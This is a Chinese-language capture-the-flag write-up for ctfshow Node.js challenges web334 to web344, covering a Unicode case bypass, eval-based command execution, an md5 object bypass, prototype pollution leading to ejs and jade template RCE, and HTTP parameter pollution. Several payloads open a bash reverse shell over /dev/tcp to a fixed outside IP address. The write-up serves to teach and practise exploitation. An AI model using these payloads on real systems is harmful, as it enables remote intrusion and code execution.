WEB入门——nodejs

web334 JS大小写特性

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

要求输入小写的:

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

特性:

Character.toUpperCase()函数,字符ı会转变为I,字符ſ会变为S
Character.toLowerCase()函数,字符İ会转变为i,字符K会转变为k

web335 JS 的 RCE

源代码发现:

<!-- /?eval= -->

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为eval(string)如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function

查看nodejs文档的child_process

child_process.exec(command[, options][, callback])
?eval=require("child_process").execSync('ls')
?eval=require('child_process').execSync('ls').toString()
?eval=require("child_process")['exe'%2B'cSync']('ls')
?eval=require('child_process').spawnSync( 'ls', [ './' ] ).stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
//读文件夹,读文件函数
?eval=require('fs').readdirSync(".")
?eval=require('fs').readFileSync('./fl00g.txt','utf8');
//字符串拼接
?eval=var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec(%27ls>public/1.txt%27);";eval(s%2Bb%2Bc)%3B
?eval=require("child_process").execSync('nl fl00g.txt')

web336 有过滤的RCE

继上一题RCE,过滤了exec|load

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

web337 JS变量

js变量分为:值类型(基本类型)、引用数据类型(对象类型)

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键:

 if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

Payload:

a[x]=1&b[x]=2

原理:
a[x]=1&b[x]=2 相当于是说,a和b都是引用数据类型(对象类型)
那么在a+flagb+flag 时,他们的结果就会都是[object Object]flag{xxx} ,那么md5值自然就是一样的了

//a,b是对象
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

返回:

[object Object]flag{xxx}
[object Object]flag{xxx}

web338 原型链污染

//routes/login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

module.exports = router;

//utils/common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

原型链利用点:

utils.copy(user,req.body);

需要通过json的格式发送

{"__proto__": {"ctfshow": "36dboy"}}

WEB入门——nodejs.png

web339 原型链污染

//routes/login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

//utils/common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

区别:

  if(secert.ctfshow===flag){
    res.end(flag);

flag我们是不知道的,这里不能利用,但还是可以通过copy函数进行原型链污染。

思路1:
比上一题多了一个api.js文件:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', {query: Function(query)(query)});
});

module.exports = router;

里有个严重问题:query 变量未定义

在 api.js 中,当执行 Function(query)(query) 时:JS 引擎找不到局部变量 query,于是沿着作用域链查找 → 最终在 Object.prototype 上找到 query,所以 query 的值就是我们注入的字符串

Function 是 JavaScript 的一个内置构造函数,用来动态创建函数

new Function([arg1, arg2, ...,] functionBody)

例子:

const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 输出: 5

试验:

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}

var user = {};
body = JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user, body);

console.log(query);
console.log(Function(query)(query));

成功返回:

return 123
123

linux:

nc -lvp 8888
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"')"}}

在index界面POST之后直接POST访问api界面即可
WEB入门——nodejs-1.png
成功连接:
WEB入门——nodejs-2.png

思路2:
查看package.json看看服务器安装了什么库:

{
  "name": "web334",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www"
  },
  "dependencies": {
    "body-parser": "^1.19.0",
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "ejs": "^3.1.5",
    "express": "~4.16.1",
    "express-session": "^1.17.1",
    "http-errors": "~1.6.3",
    "jade": "~1.11.0",
    "morgan": "~1.9.1",
    "session-file-store": "^1.5.0"
  }
}

ejs@3.1.5 存在一个可以通过原型链污染触发的 RCE(远程代码执行)漏洞
用execSync回显:

{"__proto__": {"outputFunctionName": "_;return global.process.mainModule.require('child_process').execSync('cat /app/routes/login.js').toString();var __"}}

web340 原型链污染

login.js多了

//login.js
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);

可以看到,user.__proto__并不是Object.prototypeuser.__proto__.__proto__才是

  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }

  console.log(user.__proto__);
  console.log(user.__proto__.__proto__);

返回:

{}
[Object: null prototype] {}

污染两层就行

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"')"}}}

WEB入门——nodejs-3.png
WEB入门——nodejs-4.png

web341 ejs rce

这次删除了api,此外login也改了

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

使用之前的ejs rce

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"');var __tmp2"}}}

web342 jade原型链污染

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"')"}}}

发包的时候请求头中的“Content-Type”改为"application/json"
WEB入门——nodejs-5.png

web343 jade原型链污染

同上

web344 HTTP参数污染

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

url 中不能包含大小写 8c2c 和 逗号
总之要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
这里直接把要传的参都给url编码就可以了

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

双引号编码是%22,%2c正好也是逗号
可以把整体都编码

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
posted @ 2026-06-12 20:31  Cava1i  阅读(3)  评论(0)    收藏  举报